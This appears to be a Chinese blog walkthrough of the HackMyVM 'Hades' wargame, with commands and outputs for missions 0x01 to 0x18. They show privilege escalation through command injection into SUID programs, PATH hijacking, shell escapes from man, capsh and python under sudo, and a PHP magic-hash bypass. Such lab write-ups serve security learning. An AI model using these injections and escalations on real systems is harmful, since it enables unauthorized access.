HMVLabs Chapter 2: Hades
Todd

MISSION 0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Host: hades.hackmyvm.eu
# Port: 6666
# User: hacker
# Pass: begood!

ssh [email protected] -p 6666
cat readme.txt
cat mission.txt
# User acantha has left us a gift to obtain her powers.
# 找一下gift
find / -name *gift* 2>/dev/null
# 找到 /opt/gift_hacker
file /opt/gift_hacker
# -bash: file: command not found
# 竟然没有file命令
# 试试strings
strings /opt/gift_hacker
# 看起来是一个二进制文件,应该需要执行
# 执行之后竟然是一个shell
# bash: you: command not found
# acantha@hades:~$
id
# uid=2043(acantha) gid=2001(hacker) groups=2001(hacker)
# 之前是 uid=2001(hacker) gid=2001(hacker) groups=2001(hacker)
ls -al /pwned/acantha
# 没权限,先逆向下刚才的 /opt/gift_hacker 文件
scp -P 6666 [email protected]:/opt/gift_hacker .

到本地 cutter 打开:

1
2
3
4
5
6
7
8
9
10
undefined8 main(void)
{
int64_t var_28h;
int64_t var_20h;

setuid(0x7fb);
setgid(0x7fb);
system("/bin/bash");
return 0;
}

就是设置了uid和gid,然后执行了/bin/bash,还有一个点刚才执行的时候,提示了bash: you: command not found,看下 hacker 下的 .bashrc
发现第一行是:
you must keep attention for the permission in all the files........
所以报错。这个不知道是故意还是无意。不管了,既然提醒我权限的问题,那我去找找这个用户的文件:

1
2
3
4
5
6
7
8
find / -user acantha 2>/dev/null
# 看到了一个文件:/pazz/acantha_pass.txt
cat /pazz/acantha_pass.txt
# 得到密码
su - acantha
# su 竟然也没权限,那 ssh 试试
ssh [email protected]
# 成功进入

MISSION 0x02

1
2
3
4
5
6
7
8
cat mission.txt
# The user alala has left us a program, if we insert the 6 correct numbers, she gives us her password!
# 程序就在目录下,叫 guess ,直接执行
./guess
# 输入6个数字,提示错误,先 strings 看看有没有写死,
# 看到一个类似密码的字符串,试试
ssh [email protected]
# 竟然对了。不用逆向了。

MISSION 0x03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cat mission.txt
# User althea loves reading Linux help.
ls -al
# 目录有 read 文件,执行之后 发现就是 man,还有 althea_pass.txt ,没权限看。
# man 的话,就是man 的提权,查了下 用 !/bin/sh 就可以了
./read
!/bin/sh
# /usr/bin/man: can't set the locale; make sure $LC_* and $LANG are correct
# /bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
# /bin/sh: 1: Syntax error: "(" unexpected
#!done (press RETURN)
# 提示语法错误,看起来是 LC_ALL 的问题,试试
export LC_ALL=C
./read
!/bin/sh
# 一样的错,看来。。。不是这个问题。既然不能 !/bin/sh 那么直接读 password 可以吗
./read
!cat althea_pass.txt
# 成功

MISSION 0x04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
cat mission.txt
# The user andromeda has left us a program to list directories
ls -al
althea@hades:~$ ls -al
total 56
drwxr-x--- 1 root althea 4096 Jan 31 19:46 .
drwxr-xr-x 1 root root 4096 Jul 26 2023 ..
-rw-r--r-- 1 althea althea 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 althea althea 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 althea althea 807 Apr 23 2023 .profile
-r--r----- 1 andromeda andromeda 21 Jan 31 19:46 andromeda_pass.txt
-rw-r----- 1 root althea 22 Jul 26 2023 flagz.txt
-rwS--s--- 1 root althea 16216 Jul 26 2023 lsme
-rw-r----- 1 root althea 205 Jul 26 2023 mission.txt

# 同样 andromeda_pass.txt 没权限看,执行 lsme

./lsme
Enter file to check:
.
total 28
-r--r----- 1 andromeda andromeda 21 Jan 31 19:46 andromeda_pass.txt
-rw-r----- 1 root althea 22 Jul 26 2023 flagz.txt
-rwS--s--- 1 root althea 16216 Jul 26 2023 lsme
-rw-r----- 1 root althea 205 Jul 26 2023 mission.txt
# 看起来是帮我们执行了 ls -l

./lsme
Enter file to check:
andromeda_pass.txt
-r--r----- 1 andromeda andromeda 21 Jan 31 19:46 andromeda_pass.txt
Segmentation fault

# Segmentation fault 是什么鬼,命令能注入吗?
./lsme

;/bin/bash
# 成功
althea@hades:~$ ./lsme
Enter file to check:
;/bin/bash
total 28
-r--r----- 1 andromeda andromeda 21 Jan 31 19:46 andromeda_pass.txt
-rw-r----- 1 root althea 22 Jul 26 2023 flagz.txt
-rwS--s--- 1 root althea 16216 Jul 26 2023 lsme
-rw-r----- 1 root althea 205 Jul 26 2023 mission.txt
andromeda@hades:~$ id
uid=2046(andromeda) gid=2045(althea) groups=2045(althea)
cat andromeda_pass.txt
# 成功
ssh [email protected]

MISSION 0x05

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
cat mission.txt
# The user anthea reminds us who we are.
andromeda@hades:~$ ls -al
total 52
drwxr-x--- 2 root andromeda 4096 Jul 26 2023 .
drwxr-xr-x 1 root root 4096 Jul 26 2023 ..
-rw-r--r-- 1 andromeda andromeda 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 andromeda andromeda 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 andromeda andromeda 807 Apr 23 2023 .profile
-r--r----- 1 anthea anthea 21 Jul 26 2023 anthea_pass.txt
-rw-r----- 1 root andromeda 22 Jul 26 2023 flagz.txt
-rw-r----- 1 root andromeda 166 Jul 26 2023 mission.txt
-rwS--s--- 1 root andromeda 16056 Jul 26 2023 uid
# 有一个 uid 文件,执行看看
./uid
uid=2047(anthea) gid=2046(andromeda) groups=2046(andromeda)
# id
uid=2046(andromeda) gid=2046(andromeda) groups=2046(andromeda)
# 这些人名,看得我都分不出来了。
cat anthea_pass.txt
cat: anthea_pass.txt: Permission denied
# 看不见密码,我得利用 uid 来查看这个密码,uid 看起来是使用了 anthea 的身份执行了 id 命令 , 没有参数,命令就不能注入,那么可能就是利用环境变量了。
# 尝试把 /bin/bash 弄到 /var/tmp/id 下
ln -s /bin/bash /var/tmp/id
ln: failed to create symbolic link '/var/tmp/id': File exists
# 看起来已经有其他盆友做过了,先给删了
rm /var/tmp/id
ln -sv /bin/bash /var/tmp/id
# 修改 PATH 之前先 echo 一下
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
# 修改 PATH
export PATH=/var/tmp:$PATH
which id
/var/tmp/id
# 可以了 ,执行 uid
./uid
sh: 1: id: Permission denied
# 发现没有权限执行,看下/var/tmp 的执行权限
ls -al /var/
drwxrwxrwt 1 root root 4096 Feb 8 07:12 tmp
# 没有执行权限,那么就是没有权限执行 /var/tmp/id
# 再看看/tmp
ls -al /
drwxr-x-wx 62 root root 4140 Feb 8 07:14 tmp
# 有执行权限,那么就是 /tmp/id 再来一遍,拿到 anthea 的 shell
cat anthea_pass.txt
# 成功那到密码
ssh [email protected]

MISSION 0x06

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
cat mission.txt

# User aphrodite is obsessed with the number 94.

anthea@hades:~$ ls -al
total 56
drwxr-x--- 1 root anthea 4096 Jul 26 2023 .
drwxr-xr-x 1 root root 4096 Jul 26 2023 ..
-rw-r--r-- 1 anthea anthea 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 anthea anthea 3534 Feb 3 15:51 .bashrc
-rw-r--r-- 1 anthea anthea 807 Apr 23 2023 .profile
-r--r----- 1 aphrodite aphrodite 21 Jul 26 2023 aphrodite_pass.txt
-rw-r----- 1 root anthea 22 Jul 26 2023 flagz.txt
-rw-r----- 1 root anthea 175 Jul 26 2023 mission.txt
-rwS--s--- 1 root anthea 16256 Jul 26 2023 obsessed

# 有一个 obsessed 文件,执行看看
./obsessed
No MYID ENV

# 看起来是需要 MYID 环境变量,那么就是注入了,试试
MYID=94 ./obsessed
Current MYID: 57
Incorrect MYID
# 方向是对的,但是MYID被换成了57,那如果是 a 是多少
MYID=a ./obsessed
Current MYID: 97
Incorrect MYID
# a 是 97 的话,想到了 ascii 码,那么 A 就是 65了
MYID=A ./obsessed
Current MYID: 65
Incorrect MYID

# 果然,那么如果要出现 94,查下 ascii 码表, 94 对应的字符是 ^
anthea@hades:~$ MYID=^ ./obsessed
Current MYID: 94
aphrodite@hades:~$
# 成功

cat aphrodite_pass.txt
ssh [email protected]

MISSION 0x07

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# The user ariadne knows what we keep in our HOME.

aphrodite@hades:~$ ls -al
total 56
drwxr-x--- 1 root aphrodite 4096 Jul 26 2023 .
drwxr-xr-x 1 root root 4096 Jul 26 2023 ..
-rw-r--r-- 1 aphrodite aphrodite 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 aphrodite aphrodite 3526 Feb 4 16:13 .bashrc
-rw-r--r-- 1 aphrodite aphrodite 807 Apr 23 2023 .profile
-r--r----- 1 ariadne ariadne 21 Jul 26 2023 ariadne_pass.txt
-rw-r----- 1 root aphrodite 22 Jul 26 2023 flagz.txt
-rwS--s--- 1 root aphrodite 16216 Jul 26 2023 homecontent
-rw-r----- 1 root aphrodite 185 Jul 26 2023 mission.txt

# 有一个 homecontent 文件,执行看看

aphrodite@hades:~$ ./homecontent
The content of your HOME is:
ariadne_pass.txt flagz.txt homecontent mission.txt
# 看起来是帮我们执行了 ls, 直接想到的就是 HOME 的环境变量
HOME=/pwned/ariadne;/id; ./homecontent
uid=2048(aphrodite) gid=2048(aphrodite) groups=2048(aphrodite)
The content of your HOME is:
ariadne_pass.txt flagz.txt homecontent mission.txt
# 看样子 HOME 是可以注入的,但是是 aphrodite 的身份,那么就是没有权限看 ariadne_pass.txt
# 翻看了大佬的视频,发现我这个方法用错了,试试:
aphrodite@hades:/pwned/aphrodite$ HOME='/pwned/ariadne;id;' ./homecontent
The content of your HOME is:
/bin/ls: cannot open directory '/pwned/ariadne': Permission denied
uid=2049(ariadne) gid=2048(aphrodite) groups=2048(aphrodite)
# id 就对了,那么拿 bash 吧
HOME='/pwned/ariadne;/bin/bash;' ./homecontent
cat ariadne_pass.txt
# 拿到密码
ssh [email protected]

MISSION 0x08

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat mission.txt
# The user arete lets us use cp on her behalf.
ls -al
# 没啥东西,能用别人的命令?
sudo -l
# (arete) NOPASSWD: /bin/cp
# 临时用 arete 的 cp 来拿到密码
sudo -u arete /bin/cp /pwned/arete/arete_pass.txt /var/tmp/arete_pass.txt
# /bin/cp: cannot stat '/pwned/arete/arete_pass.txt': No such file or directory
# 密码去哪了,先看 flag 吧
sudo -u arete /bin/cp /pwned/arete/flagz.txt /var/tmp/arete_pass.txt
cat /var/tmp/arete_pass.txt
# cat: /var/tmp/arete_pass.txt: Permission denied
# 木有权限啊,那出输出到控制台
sudo -u arete /bin/cp /pwned/arete/flagz.txt /dev/stdout
# 还是没找到密码,不管了,flag 拿到后,后台有密码。

MISSION 0x09

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat mission.txt
# The user artemis allows us to use some binary on her behalf. Its a gift...
sudo -l
# (artemis) NOPASSWD: /sbin/capsh
# 有一个 capsh 命令,执行看看
/sbin/capsh -h
# 出来一堆用法
--chroot=path chroot(2) to this path
--gid=<n> set gid to <n> (hint: id <username>)
--groups=g,... set the supplemental groups

# 看到这些东西,感觉应该就用这个提权了,这个东西不太熟悉,搜索了一下,果然有提权的方法
sudo -u artemis /sbin/capsh --
# 就行了

MISSION 0x10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat mission.txt
# We need /bin/bash so that the user asia gives us her password.
ls -al
-rw---x--- 1 root artemis 16056 Jul 26 2023 restricted

# 有一个 restricted 文件,执行看看
./restricted
Your SHELL is: /bin/bash

djqWtkLisbQlrGtLYHCv
# 下面这个难道就是密码?
ssh [email protected]

# 还真是。。。这什么鬼。。

MISSION 0x11

1
2
3
4
5
6
7
8
9
10
11
12
cat mission.txt
# The user asteria is teaching us to program in python.
python3 -V
# Python 3.11.2
sudo -l
# (asteria) NOPASSWD: /usr/bin/python3

# 这不直接 python3 加载 tty 就行了?
sudo -u asteria /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

# 果然。。。。

MISSION 0x12

1
2
3
4
5
6
7
8
cat mission.txt
# The user astraea believes in magic.
ls -al
total 36
-rw-r----- 1 root asteria 161 Jul 26 2023 sihiri_old.php
# 看看源代码
cat sihiri_old.php

1
2
3
4
5
6
7
8
9
10
11
<?php
$pass = hash('md5', $_GET['pass']);
$pass2 = hash('md5',"ASTRAEA_PASS");
if($pass == $pass2){
print("ASTRAEA_PASS");
}
else{
print("Incorrect ^^");
}
?>

这。。难道密码就是 ASTRAEA_PASS 吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
ssh [email protected]
# 果然不对。那么密码可能是 md5("ASTRAEA_PASS")
echo -n "ASTRAEA_PASS" | md5sum
# 还不对。。。那么是不是大小写的问题,全转为大写
echo -n "ASTRAEA_PASS" | md5sum | tr "a-z" "A-Z"
# 还是不对,难道是 ASTRAEA_PASS 的小写?
echo -n "ASTRAEA_PASS" | tr "A-Z" "a-z"

# 这一顿尝试,我突然相信魔法了:
curl localhost/sihiri_old.php?pass=ASTRAEA_PASS
# 404 , 换个姿势
curl localhost/sihiri.php?pass=ASTRAEA_PASS
# Incorrect ^^
php -a
# 进入 php 的交互模式
php > echo hash('md5',"ASTRAEA_PASS");
5ed80cd50abcedab810155553a0536ea

# 退出来
curl localhost/sihiri.php?pass=5ed80cd50abcedab810155553a0536ea
# 还是不对 , 试试大小写
curl localhost/sihiri.php?pass=5ED80CD50ABCEDAB810155553A0536EA
# 我突然想到了,
ls -al /var/www/html
total 28
drwxr-xr-x 2 root root 4096 Jul 26 2023 .
drwxr-xr-x 4 root root 4096 Jul 26 2023 ..
-r--r----- 1 www-data www-data 2061 Feb 16 2018 id.zip
-r--r----- 1 www-data www-data 195 Dec 29 1976 irene_auth.php
-rw------- 1 www-data www-data 106 May 11 1997 req.php
-r--r----- 1 www-data www-data 1037 Jun 9 2000 request.php
-r--r----- 1 www-data www-data 169 May 3 1997 sihiri.php
# 没戏,没有权限看源码,突然想起来 PHP 对于这个 == 的判断,是不是有问题,找了找文章。
# 果然,PHP 在判断数字和字符串的时候,会自动转换, 也叫 Magic Hashes ,找了
# 这个: https://github.com/spaze/hashes/blob/master/md5.md
curl localhost/sihiri.php?pass=QLTHNDT
# 拿到密码:
ssh [email protected]
# 登陆上去之后,立刻被 T 掉了,而且给了个隐藏 Flag
# 最后翻了大佬的 WP,竟然是要 FTP 上去,因为一会要 get,所以先去一个有写入权限的地方
cd /var/tmp
ftp [email protected]
# # 看看目录下其他人的文件,应该有重名的 get 的时候要重命名
get flagz.txt flagz_2.txt
get atalanta.txt atalanta2.txt
# 退出
ssh [email protected]


MISSION 0x14

刚才那个算了两关

1
2
3
4
5
6
7
8
cat mission.txt
# User athena lets us run her program, but she hasn't left us her source code.
ls -al
-r-sr-s--- 1 root atalanta 16608 Jul 26 2023 weird
-r-------- 1 atalanta atalanta 927 Jul 26 2023 weird.c
# 有个C文件夹,有read权限
# 丢给 ChatGPT 逐行解释下文件
cat weird.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <pwd.h>
// 这里包含了一些头文件,分别是stdlib.h(标准库)、string.h(字符串处理)、sys/stat.h(文件状态信息)、pwd.h(密码文件访问)。
int main()
{
setuid(2006);
setgid(2006);
// 通过setuid(2006)和setgid(2006)设置程序的用户ID和组ID为2006。是以下一关的用户权限执行程序。
const char *filename;
struct stat fs;
int r;
// 定义了一些变量,filename是一个指向常量字符的指针,struct stat fs用于存储文件状态信息,r是一个整数用于存储函数调用的返回值。
filename = getenv("HOME");
printf ("HOME detected: %s\n",filename);
// 获取环境变量HOME的值,并将其赋给filename。然后使用printf函数输出HOME的值。
char cmd[1000];
FILE *out_file = fopen(getenv("HOME"), "w");
// 定义一个字符数组cmd和一个文件指针out_file。使用fopen函数以写入方式打开文件,文件路径为HOME环境变量的值。
FILE *fpipe;
char *command = "/bin/cat /var/lib/me";
char c = 0;
// 定义了另一个文件指针fpipe,一个字符数组command用于存储要执行的命令,c是一个字符用于存储文件中的每个字符。
if (0 == (fpipe = (FILE*)popen(command, "r")))
{
perror("popen() failed.");
exit(EXIT_FAILURE);
}
// 使用popen函数执行命令,并将结果通过管道读取到fpipe中。如果popen执行失败,打印错误信息并退出程序。
while (fread(&c, sizeof c, 1, fpipe))
{
fprintf(out_file, "%c",c);
}
pclose(fpipe);
pclose(out_file);
// 通过循环从fpipe中读取字符,并将其写入到out_file中。然后关闭fpipe和out_file。
r = stat(filename,&fs);
struct passwd *pw = getpwuid(fs.st_uid);
if (pw->pw_name != "atalanta"){
r = chmod( filename, fs.st_mode & ~(S_IROTH)+~(S_IRGRP) | S_IWGRP );
}
stat(filename,&fs);
// 获取文件filename的状态信息,并通过getpwuid函数获取文件所有者的用户名。如果文件所有者不是"atalanta",则使用chmod函数修改文件权限。 atalanta 是当前用户
return EXIT_SUCCESS
// 程序执行成功,返回0。
}

简单来说,从 /var/lib/me cat 出来的东西,写入了 HOME 变量的文件,我们保持一个文件的 777,然后就可以写入、读取了。

1
2
3
4
5
atalanta@hades:~$ HOME=/tmp/todd_key ./weird
HOME detected: /tmp/todd_key
atalanta@hades:~$ cat /tmp/todd_key
km----------oV

读到密码,进入下一个用户 athena
ssh [email protected]

MISSION 0x15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cat mission.txt
# User aura lets us use her new script.
ls -al
# -rw-r----- 1 root athena 166 Jul 26 2023 auri_old.sh
cat auri_old.sh

#!/bin/bash
echo "What?"
read hackme
#Secure the condition!
#if [[ $hackme =~ "????????" ]]; then
#exit
#fi
#Add newest Aura pass!
#$hackme AURANEWPASS 2>/dev/null

# 看起来是输入一个不匹配"????????"的正则的命令,然后就可以执行这个命令 ,拼上下个人的密码
sudo -l
# (aura) NOPASSWD: /bin/bash -c /pwned/aura/auri.sh
# 可以用aura的身份执行 auri.sh
sudo -u aura /bin/bash -c /pwned/aura/auri.sh

# 符合正则的命令是什么呢?
# 试了 cat、more、less、head、tail、vim、echo、nano、vi、grep、printf,终于:
sudo -u aura /bin/bash -c /pwned/aura/auri.sh
#What?
#printf
# Ti----Rh

MISSION 0x16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
cat mission.txt
# User aegle has a good memory for numbers.
ls -al

-rw-r-x--- 1 root aura 160 Jul 26 2023 auri.sh
-rw-r----- 1 root aura 22 Jul 26 2023 flagz.txt
-rw-r----- 1 root aura 168 Jul 26 2023 mission.txt
-rw---x--- 1 root aura 16064 Jul 26 2023 numbers

# 好奇看了一眼 auri.sh
cat auri.sh
#!/bin/bash
echo "What?"
read hackme
if [[ $hackme == *"e"* || $hackme == *"o"* || $hackme == *"?"* ]]; then
exit
fi
$hackme Ti-----Rh 2>/dev/null

# 好吧,原来是个字符串在这里,又屏蔽了报错。

./numbers
# 接下来就是猜数字了,使用 Here 文档 传递多行数字,测试
# 最后测出来
./numbers <<EOF
1
2
3
1
2
3
9
1
1
1
1
2
6
EOF

MISSION 0x17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat mission.txt
# User calliope likes to have her things looked at.
ls -al
# -rw-r----- 1 root calliope 21 Jul 26 2023 calliope_pass.txt

# 有一个密码文件,没权限看
sudo -l
# (calliope) NOPASSWD: /bin/cat
sudo -u calliope /bin/cat /pwned/aegle/calliope_pass.txt
# /bin/cat: /pwned/aegle/calliope_pass.txt: Permission denied
# 木有权限,奇怪了我不是已经是 calliope 了吗?那我读 Flag 总行吧?
sudo -u calliope /bin/cat /pwned/calliope/flagz.txt
# 可以读到,读到后用页面上的密码了。
ssh [email protected]

MISSION 0x18

cat mission.txt
# The user calypso often uses write to communicate.
ls -al
-r-s--s--- 1 root     calliope 16360 Jul 26  2023 writeme
# 有一个 writeme 文件,执行看看
./writeme
# Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!
# 重要的事情说 5 遍吗?


由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 74.6k 访客数 访问量